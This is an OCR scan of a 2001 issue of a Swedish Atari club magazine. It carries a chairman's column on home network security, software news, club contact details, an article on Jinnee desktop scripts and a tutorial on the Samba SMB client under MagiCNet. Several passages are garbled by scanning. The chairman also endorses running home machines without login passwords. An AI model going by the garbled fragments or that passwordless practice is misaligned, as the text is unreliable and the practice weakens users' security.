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Ordforande har ordet!

av Mille Babic

kerheten hemma

Sa

‘ 7 i har under &ret sett hur det flaggas for sikerhet vad

giiller datorer i hemmen, hur olika virus 6ppnar upp
datorerna for ovilkomna besdk och uppdateringar av
program med brandviggstunktioner. Routrar for hemma-
bruk med inbyggd Firewall har gatt ner i pris kraftigt under
aret och sortimentet har dessutom 6kat pa detta omréde.

Nagra virus, maskar eller trojaner har vi inte sett som
angriper Atari pd ménga &r nu och vara varianter av
operativsystem skulle ge en besokare svarigheter. Hotet
dver att en Atari skulle fa ett ovilkommet besdk &r tyvirr
inte lingre helt obefintligt. Sannolikheten att bli hackad ar
stor om man dppnat upp Internetanslutningen med diverse
protokoll. Weblight dr en webbserver som létt kors pa en
Atari och att ha denna igéng i ett slutet hemnitverk utan att
folk kan surfa till den gor den givetvis véirdelds. D4 dppnar
man helt enkelt upp TCP-port 80 i den router eller i en
dator med anslutningsdelning. Att pd Atarin anvénda olika
overforingsprotokoll &r ju & ena sidan bra dd man visar att
datorn 4r anvindbar dven i dessa sammanhang och baksi-
dan #r att man 6ppnar upp dorrar for angripare. Artikeln om
Samba beskriver hur man med 6verforingsprotokollet smb/
cifs kan na resurser i nitverket dir Windows och Linux
finns nérvarande, hur man enkelt kan flytta datafiler och
skriva ut. Det har diskuterats om sékerheten vad géller
Samba och det gor ju aldrig saken bittre att man exempel-
vis som jag sjalv aldrig anvinder inloggningsldsenord i de
datorer jag har i hemnéitverket. Detta stodjer forvisso smb-
klienten for Atari, men varfor krangla?

Skrev om sikerhet vad géller datorer i den forra
ledarspalten och detta med tanke pa Erik Hall artikel.
Dessvirre kom den artikeln inte med i férra numret av
Atarimagasinet, utan vi fa njuta av en nagot uppdaterad
version denna gang. Ta allvarligt pa sikerheten, trots att
manga leverantorer av Internet idag har en router/brand-
viigg som stoppar upp ingéende trafik pa vissa portar, s&
skall man aldrig glomma att besokaren kanske just finns i
deras eget nitverk. En granne behdver inte ta omvégen via
Internet utan han finns i din nérhet.

Sattningen av Atarimagasinet

Nir denna ledarspalt skrevs har det praktiska och
kommunikationen med nye séttaren inte kommit ldngre dn
till planering och ett antal e-post meddelanden av olika
orsaker. Bertil Jigard har monterat ihop dven detta nummer
da dagarna borjar rinna ividg under detta ar. Planeringen dr
att nye séttaren skall ta tag i nummer fyra och pa sé sitt fi
tid att komma igang. Aven hér rinner tiden ifrén oss och det
beror vildigt mycket pa att artiklar inte direkt koar in pa

redaktionen.

Atari is back - and in a big way!

Atari hemsida #r pa gang att startas upp pa nytt. Att det ror
sig om Infogrames Interactive (tidigare Hasbro och
Microprose) som vill sélja spel for Playstation 2 under
etikett Atari rader det inga tvivel om. Att hemsidan inte dr
nagot for datoranvindare som anvénder just Atari mérks
snabbt om man laddar sidan med webbldsaren CAB. Bilden
nedan visar vad som gér att 14sa med en original Atari. For
att l4sa Atari hemsida till fullo sa behdvs Shockwave Flash
och Javascript.

Det CAB snabbt mérkte av &r att de dven vill spara ned en
cookie fran denna webbsida, innehéllande bland annat den
IP-adress du har pa datorn.
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The Atari name is synonymous with only the best in video
games, sa Bruno Bonnell, styrelseordférande pa
Infogrames. Han uttryckte dven rubriken for detta avsnitt.
Att de sldpper Splashdown och Mxraider betyder enligt
honom att det, som han utrycker det: reinvent Atari. Trans-
world Surf skall dessutom bli inledningen av Atari pd Xbox.

Nu i slutet av november startade Infogrames sin TV-
reklamkampanj med att marknadsfora etikett Atari for
Playstation 2 och Xbox. Atari is back!

Hur skall man kommentera detta? Tror att det &r bést att
bara fortsétta ddr vi dr. De har ju inte TOS och Jaguaren &r
ju Freeware.

Fortsitter pa sidan 14..

v/
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- SKRIPT - Nya skript till Jinnee.

. SAMBA - Dela resurser.

2001

................................................................................................................................ 8
. PDF - Skapa PDF-filer.

.............................................................................................. 12

MYMAIL - Historia, Nyheter mm

S50 4544 a4 e £ e S A NSRS 13

PORTHOS - Las PDF-filer pa din Atari

......................... 14
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KLVBBINFORMATION

Var adress & Telefonnummer

Svenska Atariklubben, Box 11416, 404 29 GOTEBORG
Tel: 0705-353212 (Mille Babic), Fax: 0708-444213,
E-post: info@sak.nu

Lokalavdelningar

srenshe fianldubben SAK/Skéane: c/o J.Kock Bokeséakra 951, 240 13 Genarp.

Ar en ideell datorforening for Dig med
Atari datorer eller annan utrustning som
baserar sig pé operativsystemet TOS.
Foreningen har funnits sedan 1985 och
har i dagsldget runt 200 medlemmar,
spridda §ver hela Sverige. Vi har

man kan triffas ndgon gang i veckan.

intressantare och mer givande anvin-
dande av Atari datorer och kompatibla
(t.ex. Hades, Medusa m.fl).

Vad du far som medlem!

Hjilp och information via mailinglista/
e-mail eller telefon direkt till négon i
styrelsen.

o PD-bibliotek (fria program) med ett

du soker, till 1iga priser (20 kronor/disk
for medlemmar).

* Extra formaner i vir BBS, STraight
BBS Hir tar du hem de senaste fria
programmen, knyter nya kontakter mm.

* Den tidning du nu héller i handen,

Hur du blir medlem!

Vi har férutom vanligt medlemskap dve
familjemedlemskap, Vilket giller ett

OBS! For personer i dvriga nordiska
liander tillkommer 50:- pga Postens
avgifter.

fér ditt medlemskort, Men ha tilamod! Det kommer.

Vilkommen med i
Svenska Atariklubben

dessutom en lokalavdelning i Skéne. Dér

stort utbud. Har finner du sikerligen det |

Pga samordnade utskick kan det drja ett tag innan du

Lokal: Berguvsgatan 4B, Tel: 040-50 00 48 (Ordférande Jesper Kock)

PD-biblioteket

Postgiro 491 75 44 - 1 {or bestallningar. Skriv tydligt vilka disketter du
dnskar bestélla. Aktuell katalogdiskett kostar 15 kr. Disketter kostar fran

Genom information (tidning), kurser 20 kr.

(genom lokalavdelningarna), PD-

bibliotek (fria program) och liknande = H =
aktiviteter vill vi uppmuntra till ett T' d nin g Sd IS kett

Disketten kan bestéllas av alla medlemmar fér en summa av 25:-. Satt
in pengarna pa PG 491 75 44 - 1 och skriv tydligt tidningsdiskettens

nummer pa talongen.

i

4

| JetMail.

Ordférande

Sekreterare
Jonas Moller Nielsen
Informationsansvarig

Hemsideansvarig
Andreas Sj66
Medlemsregister

. SAK BBS - STraight BBS (Stangs 31/12!)

~ Tel: 031- 44 66 62 (V34+). Oppet dygnet runt, hela aret. Totalt 4.3 GB

. harddiskutrymme plus ett flertal CD-ROM-skivor i vaxlare som alla med-
lemmar har fri tillgang till. Méjlighet att Iasa och skriva brev i natverk som
FidoNet, SAKnet m fl. Programvaran som anvands ar Semper/Octopus/

Funktionarer i styrelsen

jonas.moller.nielsen @swipnet.se

mrfuture @ home.se

AtariMagasinet, Klubbens malsittning ¢ Mille Babic mille @ebox.tninet.se 031-699254
#r att den skall komma ut 4 ggr per ar. Vice ordforande
Nkt Se g s el Johar]_AsserIund asser@telia.com (ej efter 21:00) 031-247716
temakvillar hos lokalavdelningarna. Kassor

Kenneth Medin kennethm@tripnet.se 031-654145

0733-327130

nbegringatanial persener orm-hely Mikael Folkesson mikael_f@swipnet.se 042-165485
familjen anvénder Atari. .

SysOp, STraight BBS
Ett ars medlemskap 175:- | Bertil JAgard bertil@jagardsakeri.com 031-444219
Ett ﬁrs. familjemedlemskap 200: PD-ansvarig
Stactdiskett 25 Mikael Folkesson mikael_f@swipnet.se 042-165485

031-3316546

" o Henrik Gilda di98gihe @chl.chalmers.se 031-537473
u blir medlem genom att sitta in Pt

pengarna pi PG 491 75 44 - 1. Ditt Ovriga

medlemskapsir riknas ifrin den 1 mars Ulf Atterstrom ulf.atterstrom@ swipnet.se 0591-12706
i st e wisikonmands dn Torbjérn Gilda d98gilda@dtek.chalmers.se 031-537473
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Barbart

Har du dromt om en bérbar spelmaskin? Jo visst, Lynx
finns ju, men ténk dig en bérbar Atari 2600 eller varfor
inte en barbar Playstation? Ta en titt pA Benjamin J.
Heckendorns hemsida! Dir kan du se hans birbara
modeller av Atari 2600, SuperNintendo och Play-
station!

http://www.classicgaming.com/vesp/index.htm

Anodyne CD Writer v3.2

Anodyne har uppdaterat sitt programpaket for CD-
bréanning. I Version 3.2 har de réttat till tva problem
som fanns i CDwriter v2.2. Det ena problemet var att ,

e o o o o

QuickCreate inte fungerade tillsammans med den alternativa filviljaren Boxkite. Det andra
var om du korde programmet i TOS eller MiNT sé kunde du inte skriva i ndgon texti Song
name- eller Descriptionfilten. Registrerade anvédndare av CD Writer Suite v3.0 kan gratis
ladda hem uppdateringen fran Anodynes hemsida:

http://www.cyberus.ca/~anodyne/

PixArt 4.5x

Full version av grafikprogrammet PixArt kan laddas ner fran ST Computers hemsida Filen
ar 604Kb stor, och hamtas fran adress:

http://www.st-computer.net/software/pixart.zip

MagiCNet 1.3.9b
Vassilis Papathanassiou har uppdaterat MagiCNet! I och med denna nya version sa hanteras
serieportarna korrekt &ven under MagiC 6.2.

Vassilis har dven sldppt version 1.00b av "pppd GEM” som gor det mojligt att ansluta sig
till Internet med PAP, CHAP och d4ven MS-CHAP.

http://users.otenet.gr/~papval/magicnet.htm

Chu Chu Rocket

Reservoir Gods har tillslut sldpp sin konvertering av spelet Chu Chu Rocket for STE och
Falcon. Chu Chu Rocket r ett multiplayer spel som slépptes till Sega Dreamcast for en tid
sedan. Spelet finns i tva versioner; en som kriver 2Mb RAM och som dé innehéller
samplade effekter, samt en version for datorer med 1Mb RAM da utan samplingar.

Spelet kan hamtas fran Reservoir Gods, eller fran DHS hemsida:

http://www.users.zetnet.co.uk/pinkpage/
http://www.dhs.nu

GemGT2

Graoumf Tracker dr en 32 kanalers ”soundtracker” for Falcon, och med GemGT?2 kan du
lyssna pa Graoumf Trackermoduler i GEM! Swe/YesCrew har gjort uppspelaren som
anvénder sig av optimerade uppspelningsrutiner av Earx. Programmet, som hittills finns i
version 0.45 kan hdmtas fréan:

http://www.dhs.nu/files msx players.jsp
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NYHETER

Marathon v2.0

Mailklienten Marathon har fatt en ansiktslyftning och innehéller en hel del nya
|| funktioner jimfort med tidigare versioner. Négra av nyheterna &r Autocomplete, ny

tradstruktur for bittre sortering av brev, firgade lénkar till webbsidor och mailad-

| resser, MagiC-anvindare far nu vanligt MagiC-utseende pd Marathons fonster och

dialogrutor.

Fo6r mer information, surfa in pa:

| http://draconis.atari.org/draconis/mara2/eindex.htm

AniPlayer 2.17

Det har nistan blivit en tradition att skriva ngot om AniPlayer. Nu finns program-
met i version 2.17 och har en hel del bugfixar och forbittringar.

http://aniplay.atari.org

Atari.com

Knappar du in www.atari.com i din browser s kan da f dig en titt pa de senaste
spelen som skall slédppas i Ataris namn. Tyvirr dr spelen inte anpassade for
Atarimaskiner, utan mest for PlayStation 2 och XBox. Spelen du kan se dér &r
Splashdown, Transworld Surf och MX Rider.

http://www.atari.com/

Okami 3.0

Offlinelésaren for e-post och news har uppdaterats till version 3.0! (Se artikel av
Kenneth Medin i nummer 2/2000 av Atarimagasinet)

Mer information:

http://www.xsdall.nl/~josdb/okami30.html

lcon Extract 1.2

Med Icon Extract kan du ta ikoner frin exempelvis Windows och anvinda dem pa
Atari. Den nya versionen stédjer numera Windows XP ikoner, har ett forbéttrat
anvinarinterface samt ett antal buggfixar och forbéttringar.

http://www.club-internet.fr/perso/lafabrie/

Q0 ATA3iMACASNET N? 5 2001
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SUPPORTERS
| SVERIGE!

COPSON DATA
LINKOPING
TeL: 013-16 41 04

DAGGSKIMMER FC3
GOTEBORG
FC3 @ LEUF.ORG
HTTP://FC3.COME.TO
TeL: 031-734 05 49

DISK1
GOTEBORG
INFO@ DISK1.SE
TeL: 031-18 01 40
Fax: 031-81 43 05

HOLMERUP MUSIK
MALMO
SALES @ HOLMERUP.ORG
HTTP://WWW.HOLMERUP.ORG
Fax: 046-611 30 86

INDIGO2
ARHus, DANMARK
INDIGO2 @ CYBERNET.DK
TeL: 00945-86 20 16 55
Fax: 00945-86 20 12 04

LINE AUDIO
RiNkABY
INFO @ LINEAUDIO.SE
HTTP://WWW.LINEAUDIO.SE
TeL: 044-22 54 96
Fax: 044-22 54 20

OSAB
REPARATIONER, GOTEBORG
TeL: 031-575902




Nya Skript till Jinnee

av Mille Babic

yligen sldppte Bernd Midicke ett Freeware arkiv kallat

BM-Scripte, med diverse skript att anvindas under
med ASH Scripter och skrivbordet jinnee. Den packade
filen gér under namnet bm-scripte02.1zh, som #ven aterfinns
pé tidningsdisketten.

For att frdscha upp minnet lite, s dr alltsa Scripter som det
later ett skriptsprak. Koden exekveras av programmet ASH
Scripter i bakgrunden i realtid och hittas av detta program
via associering i skrivbordet. Meddelandehanteringen ir
inte helt olik OLGA (Objektldnkning och inbdddning) och
kdllkoden 4r mycket lik programspraket C. Via detta
kommunikationsgranssnitt (GEMScript) kan alltsd Scripter
mojliggora skeenden och kommunikation med méanga
binérfiler- och programs egenskaper och presentera resultat
1 olika former.

Installationen &r enkel, det &r bara att flytta skripten (*.SIC)
till JINNEEUPLUGINS\CONTEXT\. De flesta av skripten
behdver binérfiler i form av TTP-program som skall liggas
1 JINNEEJPLUGINS\CONTEXT\BIN, mer om dessa, som
dven de finns pa tidningsdisketten ldngre ner i artikeln.

Skriptfilerna &r rena textfiler med kéllkod som medvetet
efterliknas programspraket C. Detta gér att om man har
négon form av programmeringsvana i spriket s 4r det
enkelt att forstd vad som sker. Filtypen for skrip (SIC) gor
att ASH Skripter anropas och utfér de kommandon skripten
innehaller.

Packa datafiler och mappar

Medlevererat jinnee finns skript som packar och sammanfo-
gar datafiler i olika format. D4 skripten innehdller instruk-
tioner och ASH Skripter endast dirigerar dessa, s& forstar
man givetvis att det méste finnas binérfiler som anvinds for
att gora sjilva packningen. Vilkinda packaren for Atari och
zip dr givevis den av Vincent Pomey (zipjr.ttp) for att ta ett
exempel. I och med att det 4r dessa binérfiler som utgér
sjdlva arkiveringen sé &r det vildigt enkelt att sjdlv modi-
fiera ndgon av skripten for att ge stod till packning med
samtliga metoder som finns for Atari. St6d for tar och Gzip
ir ett exempel pa anvindbar kombination.

Skript i dessa sammanhang gor att man inte 4dr beroende av
skalprogram som LZH-Shell och PACShell utan
anvindarvinligt bara att hogerklicka pa det man vill packa
eller packa upp.

S TAR-Archiv erzaugen::
ZIP-Archiv erzeugen
ZO0-Archiv erzeugen

ewton.cnf
newton.roc
newton.upl

ARJ-BETA 9.97 REV 3.181 alpha
(c) Copyright 1995-1996 Hans Wessels
Release date: 19-87-1996.

Creating archive: C:\PROGRAM\Newton\docs.ar
Adding: C:\PAOGAAM\Newton\docs\NEUTON.HYP 98%
iAdding: C:\PROGRAM\Newton\docs\NEWTON.REF 65%
{Adding: C:\PROGRAM\Newton\home\NEWTON.WAD 88X
Adding: C:\PROGAAM\Newton\icons.rsc 28%
Adding: C:\PROGRAM\Newton\newton.app 51%
Adding: C:\PROGRAM\Newton\newton.cnf 88%
Adding: C:\PROGRAM\Newton\newton.rsc 28%
Adding: C:\PRAOGRAM\Newton\newton.upl 64%
Adding: C:\PROGRAM\Newton\readme. tut 51%

Time used S sec.

iProgromnm beendet]]

Denna dialogruta dar man véljer att antigen packa till fil
eller diskett (-er) bestédr av en mycket enkel kod:

exit_button = dialog.note(”Vilj en metod:”,”Backup gor ... till packad|
ARJ-fil.”,”-d3”,”-bAvbryt”,”-bBackup”,”’-bNormal’’);

Detta visar vilken styrka det finns skripten, det ér alltsa inte
bara bakgrundsinstruktioner som sker utan man kan enkelt
f& fram dialogrutor och GEM-fonster utan att koden beho-
ver kompileras. Kan det vara enklare?

HTM-Strip

I BM-Scripte ingér ett skript som anropar htmstrip.ttp av
RGF Software (Richard Gordon Faika). Denna binér
strippar bort all html-kod frén ett webbdokument och sparar
ned resultatet som ren text till en fil. Biniren ir Freeware
och finns pé Atarimagasinets tidningsdiskett, men gr dven
att ladda hem frén www.rgfsoft.com och skall ldggas till
jinnee for att kunna hittas och exekveras av skriptet
(htmstrip.sic) till foldern \jinnnee\jplugins\context\bin\.

Skriptet dr anvéindbart om man hittar en manual i ndgon
form pa nétet eller nyheter och man vill ha ned det som ren
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text till en fil. D4 jag sjilv inte har en skrivare hittar jag en
méjlighet att rippa av beloppen och uttagen pd mitt person-
konto fran Nordbanken website och montera in i en textfil
dir jag nu kan sammanfoga alla mina transaktioner.

Binérfilen kan ta bort alla “taggar” inte bara i vanlig
HTML-kod utan sven fran XML och WML och spara dem
till en helt vanlig ASCII-kod.

Z htnstrip.ttp:

7/ HTML Strip, Version 1.8 (c)2881 RGF Software, Richard Gordon Faika //
7/ http://wwu.rgfsoft.con 17
main(): -sert=htm,htm{,unl,wnt C:\INTERNET\MILLE\index.htnl

estrip(): inden.html

to: C:\INTERNET\MILLE\Index.tHt

return()

eturn()
erlt()

Nconvert

Denna biniirfil av Pierre-E Gougelet &r tack vare detta
skript otroligt kraftfullt. Jag har tidigare i en artikel om just
Nconvert och XN-View efterlyst om ndgon kunde ta fram
ett skalprogram till denna bildkonverterare som kinner igen
over 100 stycken olika bildformat inklusive de &ldre Atari
Art Director, Degas & Degas Elite, Doodle, GEM Paint,
NeoChrome, Spectrum 512 med flera. Tdnk om jag visste
att det behovs inget skalprogram utan ett skript!

Det hiir skriptet #r utformat s4 att ett hogerklick pa nagon
av dessa 100 bildformat sparar resultatet till JPEG/JFIF
med 70% kvalitet. Otrorligt kraftfullt med andra ord, si nu
ar det bara att skaka fram alla 720 Kb disketter som man
samlat pé sig genom &ren och spara ned bilderna till JPG
till en harddisk.

D4 binirfilen dr av TOS Takes Parameters (TTP), det vet
séiga att man anger inparametrar for konvertering och
destinationsfil, enligt bilden nedan. Detta behdver man inte
goras ldngre och det behovs som sagt inget skalprogram,
utan endast detta lilla skript som gor detta med automatik.

e XTUNUERY GF .9 CODSF CINE 19E-4R PIZFIRCR GANRRLEE TXER X7 YPINCVIINSCY
5l

| now ut CuF HTRHY ST SVe. PV R PRLCAN  GALS VHARIK Feserveds
ke you 5 TR BT rul T L B EEY plasul ittt e
TR R T

bswve ¢ NUEEH. TS Besdesme #1Rm o..

St
{ fleigs e
‘= CENSIEE 4100

s

s

pos
§ raw po srive

.2
RS Rn .,
et

s

Binirfilen som #ven den finns pa tidningens diskett gar att
ladda hem frén programmerarens hemsida

http://perso.wanadoo.fr/pierre.g/

Tclean

Detta skript tclean.sic gor att man kann témma jinnee
papperskorg oavsett var man hogerklickar pa skrivbordet.
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SAMBA

av Mille Babic

Inledning

S amba ir en 16sning som mojliggor att dela resurser,
sasom mappar och skrivare mellan olika datorplatt-
formar. Drivkraften for detta projekt &r att fa till stind ett
bra sitt att integrera en UNIX-dator i ett befintligt
Windows-nitverk. I dess kolvatten har dven Atari surfat
med i bilden tack vare 6ppen standard som resulterat i enkla
portningar.

Samba nyttjar protokollet smb (server message block). Ett
protokoll som har sitt ursprung i Netbios (Network Basic
Input Output System), vilken togs fram av IBM for att
koppla samman mindre nétverk. Microsoft lade sedan till
funktioner fér fildelning och smb fick da en praktisk
anvindning. Netbios utvecklades sedan vidare till bland
annat NetBEUI som gjorde att paket kunde skickas mellan
olika nitverk, bland annat Netbios 6ver TCP/IP den teknik
Samba anvinder. Microsoft dndrade sedan benfmningen pa
kombinationen smb och Netbios till CIFS (Common
Internet File System).

Samba i sig utvecklas fortfarande av en Australiensare med
namnet Andrew Tridgell, som sammanhallande i projektet.
Han portade i begynnelsen smb till Unix for att komma at
just Unix fran sin dos-dator. Han &r faktiskt dven kunnig i
det svenska spraket da han liste pa Chalmers i Goteborg
négra ar. Samba lyder under Open Source Software (OSS)
av sina upphovsmaén och distribueras under etikett GNU
General Public License (GPL) med gott rykte att vara stabilt
och vil fungerande under Linux, SUN Solaris och IBM AIX
for att nimna nagra. Att det mojliggor att frén en Atari
komma &t resurser i ett hemnétverk, som oftast bestér av en
eller flera datorer med Windows eller Linux ger oss ett bra
komplement till ftp och telnet och kommer efter integrering
i BNet att ge Ataridatorn en naturlig plats i hemnétverket.

Skall i denna artikel férsoka fa en bild pé vad som &r
méjligt med Samba vad géller Atari och visa nagra exempel
pa hur fordelaktigt detta dr under hemmanétverket, samt hur
man kan sitta upp en sidan 16sning. Kommer att halla mig
till den del av smb, som behandlar klientdelen da annars
artikeln blir omfattande och inte berdr vad den &r avsedd att
beskriva, nimligen smb och Atari i ett hemmanétverk.

Vi skall titta pa en FTP-liknande smb-klient som ger
atkomst till resurser utdelade pa en PC med MS Windows,
utdelade mappar pa disk och skrivare. Den bestar av ett
begrinsat verktyg, som fungerar som kommandotolk och
utfor filhantering bland annat.

ATARiMACASINET N7 5 2001




Hanvisar for mer information om just Samba pa dess
officiella hemsida, www.samba.org da det finns massvis
med dokumentation, manualer och mingder med textfiler,
som ger anvéndbara tips och problemldsningar, sa att jag
kan konkret hélla mig till artikelns kdrndmne. Det finns dven
information att himta ur distributionslistor och nyhets-
grupper, med vigledning fran hemsidan.

Uppdaterad information vad géller denna artikel med fler
exempel och bilder finns alltid att 14sa p4 min hemsida
under avsnittet MagiCNet.

Ett hemnatverk som bas

I ett hem finns det som oftast mer &n en dator och dessutom
annan maskinvara som till exempel skrivare. En idealisk
16sning dr en miljo dér datorerna delar resurser i en privat
nétverksanslutning (LAN) och en offentlig nétverksans-
lutning (WAN, Internet-anslutning). Detta &r ett bekvamt
sétt ddr man kan arbeta med ljud, foton eller annan
dokumenthantering tillsammans med andra familjemedlem-
mar och samtidigt surfa pa Internet.

Vanligast ar att anvinda ett serverlost nitverk i hemmet dér
datorerna ingdr i en arbetsgrupp dé de &r firre till antalet dn
runt atta stycken.

Utgar i artikeln att man har nadgon form av ett LAN hemma
och pé sa sett inte fordjupar mig i 16sningarna for detta utan
hellre hianvisar till mina tidigare artiklar om Atari &
Ethernet, samt MagiCNet hur man med en Atari kan ansluta
till ett sddant privat hemnétverk och via det f4 tillgang till en
Internet-anslutningsdelning.

Har tidigare beskrivit hur man enkelt drar igdng en FTP-
Server pa Ataridatorn och pa sa sett kan na diskenheter pa
denna dator fran en annan dator i hemnétverket med ftp
eller via Windows funktion, 14gga till en nétverksplats, si att
Drag&Drop kan nyttjas. Férdelarna med detta kan exempel-
vis vara att man har Atariprogram eller olika typer av
dokument, ljud eller film pd en CD-ROM som man vill att
Ataridatorn skall ha, om man nu inte har en CD-enhet
ansluten till Atari. Kanske tycker man det &r enklare att
himta program fran Internet med en PC eller Linuxbaserad
dator och sedan skicka dessa via hemnétverket till
Ataridatorn. Framforallt s mojliggér FTP-Server ett
mycket smidigt sétt att forse Ataridatorn med stora doku-
ment, som ljudfiler, film eller storre distributioner.

Vi skall med hjélp av en smb-klient med inbyggd
kommandotolk med ftp-egenskaper, istéllet forflytta oss till
Ataridatorn och fran denna hamta program och dokument
fran de 6vriga datorerna i nétverket, istdllet for tvirt om.

Anvianda smb med MagiCNet

Programarkivet SMB_CLNT.ZIP f6r smb-klienten under
MagiCNet hdmtas enklast fran Vassilis Papanthanassiou
hemsida http://users.otenet.gr/~papval. Den innehéller bara | @
fyra datafiler, som bara det ger en vink av att det inte ror sig ||
om en stor installation utan ett program i form av en TTP
(TOS Takes Parameters)

Denna version 4r en portning av en klient som ger atkomst
till smb kompatibla (NetBIOS) servrar under bland annat
Linux och MS Windows. Vassilis understryker ocksa att han
inte tycker om att viktiga program under MagiC/MagiCNet
skall vara som TTP utan att han kommer att se till att
implementera smb med BNet for att ta till vara skrivbordets
mojligheter vad giller filhantering.

For att Samba fran borjan skall ligga enligt vad som rekom-
menderas eller om jag sdger, dar det "officiellt’” skall ligga,
sa rekommenderas att man skapar en tradstruktur redan frén
borjan. I inledningsforfarandet hér sé bestar smb-klienten av
endast fyra datafiler, men for att bereda plats for framtida
utékning av samba pa datorn, s 4r det bra att man gor ratt
fran borjan.

Meningen ir att mappen /samba lidngst upp i dess trad-
struktur skall hamna pa u:\usr\local\samba\. Detta astadkom-
mer man genom att anvinda programmet LINK2U.PRG (se
min artikel om MagiCNet) av Daniel Augsburger, som
startas forst av alla program fran \gemsys\magic\start

Programmets instéllningsfil LINK2U.CNF har jag lagt dit
MAGX.INF sdger att min mapp med instéllningsfiler finns
($home).

; Variabel 1 MAGX.INF
# ENYV home=e:\usr\home

Har man inte satt variabeln ovan I MAGX.INF s4 skall
givetvis LINK2U.CNF ligga i \magic\start dir dess program
startas under uppladdning av datorsystemet.

Sa hor ser min egen LINK2U.CNF ut:

# create links to drive u
#
sln e:\usr u:\usr

sln e:\tmp\ u:\tmp

# delete link to drive a
#

delu a
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D4 samba rekommenderas enligt medfoljande readme.txt
att ligga enligt \usr\local\samba och pa en VFAT (uttkad

| FAT med stod for 1anga filnamn) partition, sd forstr man
l|att hela samba ldnkas till just enheten u:\ av LINK2U enligt
imin LINK2U.CNF ovan.

Samba tridstruktur tar man fram sjdlv genom att skapa
undermappar. I mitt fall har jag skapat f6ljande mappar och
- lagt in f6ljande filer i dem:

e:/usr
/local
/samba

smb_clnt.ttp

/lib
smb.conf
LMHOSTS (valbart, anvénds inte 4nnu)

/codepages

/private

smbpasswd (valbart)

/var

Korning av klienten

De forsta inparametrar man kan testa vid kérning av
klienten kan vara mot en dator i hemnétverket, som har
inbyggt stéd fér smb. En PC med MS Windows eller
Linux. Ataridatorn méste ha en hosts-fil dir samtliga
datorer i nitverket finns definierade med IP-adress och
namn. MagiCNet har denna fil och det r bara att editera in
datorerna. smb-klienten 4r i detta fall inget undantag utan
det finns enkla bindrer men dven program fran MiNTnet,
som liser hosts. De flesta av dessa sma verktyg &r dess-
utom programmerade att leta efter hosts-filen i u:\etc

Inparametrerna —L Sophie enligt bilden ovan ger utdata
enligt bilden nedan.

ismbicintittpiis
u sCatNsal
§os1:192.168.0.255 nmask:255.255.255.0

shar
n oider c thes:
a

CAROL INE DELL Latitude - Barbar dator
Soi stationar dator 1

This machine has & workgroup list:
workgroup naster
ATHOME CAROL INE

¥rogremmet ausiutai...m

Vi ser att datorn Sophie har en del mappar utdelade men
dven en skrivare. Annan information delges dven, namnet pa
arbetsgruppen och datorns vidare kontakt till andra datorer i
nitverket.

Vi kan som ett annat exempel ansluta till en delad resurs pa
datorn Sophie dir den utdelade mappen heter Atari:

\Sophie\Atari -N -U guest

Har far vi sedan upp en i klienten befintlig prompt, en
kommandotolk didr manga parametrar och utféranden kan
stillas. Vi listar mappen med kommandot Is.
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Vi bestimmer oss for att fora éver filen MLDEBUG.ZIP till
Ataridatorn vilken innehéller MyMAIL for betatestare. Med
enkla kommandot och parametern: get mldebug.zip s
hiamtas datafilen enkelt Gver nitverket till hemkatalogen dér
samba finns placerat. Med kommandot mget kunde vi
annars fort 6ver alla filer eller med jokertecken utpekade
dito. Ett 40-tal kommandon finns att anvénda 6ver denna
anslutning mot en resurs. Skriv bara ordet help eller ett
frigetecken och slé pa Return sa presenteras de.

Overforingshastighet

Overforingshastigheter pa mellan 120 och 144 Kb/sek skall
kunna nés enligt manualen. Detta beror mycket pa
MagiCNet, uppdaterad drivare for Ethernetadaptern etc.
Sjilv erhaller jag hastigheter pa 76 till 88 Kb/sek och dé har
jag dnnu inte uppdaterat till senaste distributionen av
MagiCNet med uppdaterad drivare for RTL8012-kretsen
som sitter i Ethernetadaptern. Hur som helst, sa jimf{or
girna med vad FTP-Server

Skriva ut pa skrivare

Det gar dven enkelt att skriva ut text pd en skrivare som
sitter delad i nétverket. Jag gav smb-klienten f6ljande
inparameter:

\\Sophie\Skrivare -P -N -U guest

Nir smb-prompten dok upp skrev jag helt enkelt print
smb.conf dé den 1ag i samba hemkatalog. Utan problem
skrev skrivaren ut dokumentet. Har kan man &ven lata
NVDI skriva ut till fil och sedan skriva ut den med kom-
mandot print frdn smb-klienten.
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Konfigurering av smb.conf

smb.conf 4r en konfigurationsfil fér Samba, den inneh&ller
information till olika samba binérer och verktyg. De flesta
variablerna och dess virden anvinds inte alls utan var smb-
klient fungerar alldeles ypperligt bra utan att man behéver
g8 in och dndra ndgot. Har man hog sikerhet inom det
lokala nitverket med inloggningar till exempelvis MS
WinNT och framforallt grundsikerheten under Linux, si far
man editera in de anvindare som har rittigheter pi dessa
datorer. I och med att denna fil med instillningar géller for
en enkel klient som den som testas hir, samtidigt som att
sétta upp en riktig samba server i exempelvis en UNIX-
dator, sa giller oftast alla variabler for den egna datorn man
kor samba ifran. Har man ingen skrivare pa Ataridatorn som
andra i nétverket skall na eller att man satt upp ett fleran-
vindarsystem med MiNT/MiNTnet med inloggningar och
behdrigheter, sé finns det ingen anledning alls att borja
dndra vérdena i denna fil.

smb.conf administreras i regel med ett program kallat swat
Samba Web Administration Tool ddr man konfigurerar
denna vildigt komplexa fil med en webblisare. Ett sddant
verktyg finns inte alls for vér lilla klient och finns heller
ingen anledning att ha en. Detta bara for att pavisa att
smb.conf dr omfattande och bor inte petas i alls.

MagiCNet &r MiNTnet, men fér operativsystemet MagiC
som inte ménga anvinder som ett fleranvindarsystem. Det
finns ménga MiNT-anvéndare som har satt upp sina datorer
med behdrigheter till mappar och filer, med inloggningar.
Kanske sitter de med en Falcon med SCSI-diskar eller med
en Atarikompatibel dator som Hades och tycker
SpareMiNT, FreeMiNT har seri6sa binirer och 4r ett
“riktigt” operativsystem. Att anviinda samba i ett sidant
system kriver lite editeringar i smb.conf, men behover inte
vara fallet om man oftast sitter som root och bara anvinder
en smb-klient som denna administratér.

smb.conf 4r uppbyggd enligt att radvis anvinda
namn=vérde och bryter vid nyradsformatering. Det finns
manga kommentarrader med information, dessa har ett
briadgardstecken framfor sig, men man anvinder ocks3 ett
semikolon for rader som inte #r aktiva. Detta gér man bara
for att skilja pa rena kommentarer fran rader som har just
namn=virde och kan anvindas genom att ta bort semikolon
tecknet 1 borjan av raden.

Ett typiskt urklipp ur smb.conf kan se ut s4 hir:

# Uncomment this if you want a guest account, you may add
this to

# /etc/passwd otherwise the user “nobody” is used

; guest account = mille

Alla tre raderna léses inte alls av smb-klienten eller biniirer
ur samba, men &r gjorda sa att man litt forstér att
semikolontecknet kan tas bort om man vill aktivera denna
funktion.

